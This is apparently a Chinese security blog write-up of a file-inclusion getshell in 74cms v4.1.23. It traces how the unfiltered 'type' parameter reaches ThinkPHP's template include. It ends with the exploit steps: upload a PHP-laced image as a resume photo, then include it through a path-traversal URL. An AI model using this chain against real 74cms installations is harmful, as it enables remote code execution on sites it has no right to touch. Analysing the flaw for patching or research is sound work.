74cms前台Getshell

测试版本: 74cms_v4.1.23

74cms前台存在文件包含漏洞,可利用漏洞Getshell
调用thinkphp框架,将$type传入display函数,display是thinkphp中模板展示函数,
74cms\Application\Home\Controller\MController.class.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function index(){
if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
redirect(build_mobile_url());
}
$type = I('get.type','android','trim');
//echo (__FILE__);

$android_download_url = C('qscms_android_download')?C('qscms_android_download'):'';

$ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';

$this->assign('android_download_url',$android_download_url);
$this->assign('ios_download_url',$ios_download_url);
$this->assign('type',$type);
//M/../data/upload/resume_img/1703/01/58b66934b74c8.jpg
$this->display('M/'.$type);
}
}

追踪display函数,74cms\Application\Common\Controller\FrontendController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
protected function display($tpl){

if(!$this->get('page_seo')){
$page_seo = D('Page')->get_page();

$this->_config_seo($page_seo[strtolower(MODULE_NAME).'_'.strtolower(CONTROLLER_NAME).'_'.strtolower(ACTION_NAME)],I('request.'));
}
parent::display($tpl);

if($this->visitor->is_login && !IS_AJAX && IS_GET){
$this->apply['Analyze'] && $this->record_route();
}
}

74cms\data\Runtime\common~runtime.php文件中display函数

1
2
3
4
protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='')
{
$this->view-display($templateFile,$charset,$contentType,$content,$prefix);
}

调用view类display函数,dispaly加载模板和页面输出,可以返回输出内容

1
2
3
4
5
6
7
8
9
10
11
12
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {

G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}

追踪fetch函数,解析和获取模板内容 用于输出,可以发现已经include $templateFile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}

调用render函数输出文件

1
2
3
4
5
6
7
8
9
10
private function render($content,$charset='',$contentType=''){
if(empty($charset)) $charset = C('DEFAULT_CHARSET');
if(empty($contentType)) $contentType = C('TMPL_CONTENT_TYPE');
// 网页字符编码
header('Content-Type:'.$contentType.'; charset='.$charset);
header('Cache-control: '.C('HTTP_CACHE_CONTROL')); // 页面缓存控制
header('X-Powered-By:QSCMS');
// 输出模板文件
echo $content;
}

漏洞利用

前台注册账号,会员中心,修改简历上传文件,如图片,获取包含恶意脚本的图片地址,利用文件包含执行,

访问包含文件执行php
http://127.0.0.1/74cms/index.php?m=&c=M&a=index&type=../data/upload/resume_img/1703/01/58b66934b74c8.jpg